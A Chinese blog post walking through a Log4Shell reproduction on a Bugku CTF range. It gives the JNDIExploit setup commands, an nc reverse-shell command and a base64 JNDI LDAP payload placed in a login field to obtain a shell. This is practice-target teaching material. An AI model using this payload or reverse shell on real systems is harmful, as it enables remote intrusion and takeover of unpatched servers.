關於Log4j
半個月前,Apache的Log4j漏洞爆出,甚至一度被認為是一個核彈級的0 day漏洞。今天來復現一下該漏洞。
Apache Log4j2 是一個基於 Java 的日志記錄工具。該工具重寫了 Log4j 框架,並且引入了大量豐富的特性。該日志框架被大量用於業務系統開發,用來記錄日志信息。 在大多數情況下,開發者可能會將用戶輸入導致的錯誤信息寫入日志中。攻擊者利用此特性可通過
該漏洞構造特殊的數據請求包,最終觸發遠程代碼執行。
靶場地址:https://ctf.bugku.com/challenges/detail/id/340.html?page=1
正文
首先完成復現需要一台公網Linux服務器
在服務器上下載需要利用的exp(首先安裝git命令)
git clone <https://github.com/black9/Log4shell_JNDIExploit.git>
進入Log4shell_JNDIExploit
cd Log4shell_JNDIExploit
開啟ldap和http服務
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 120.26.49.19 -p 8080
注意,此處一定在填服務器公網地址,不能寫127.0.0.1,不然會找不到地址,無法反彈shell
此時,再打開一個終端,nc開啟監聽
構建漏洞利用EXP
nc xx.xx.xx.xx 1234 -e /bin/sh
此處端口對應nc監聽的端口
將反彈命令用base64加密,站長之家base64編碼
編碼完成后寫入EXP最后
${jndi:ldap://120.26.49.19:1389/Basic/Command/Base64/bmMgMTIwLjI2LjQ5LjE5IDEyMzQgLWUgL2Jpbi9zaA==}
在用戶名處寫入構造的payload,密碼隨便填
點擊提交
就成功獲得了shell
END
在結束之后,一定要將ldap和http服務關閉,不然很有可能讓VPS受到別人的攻擊,切記!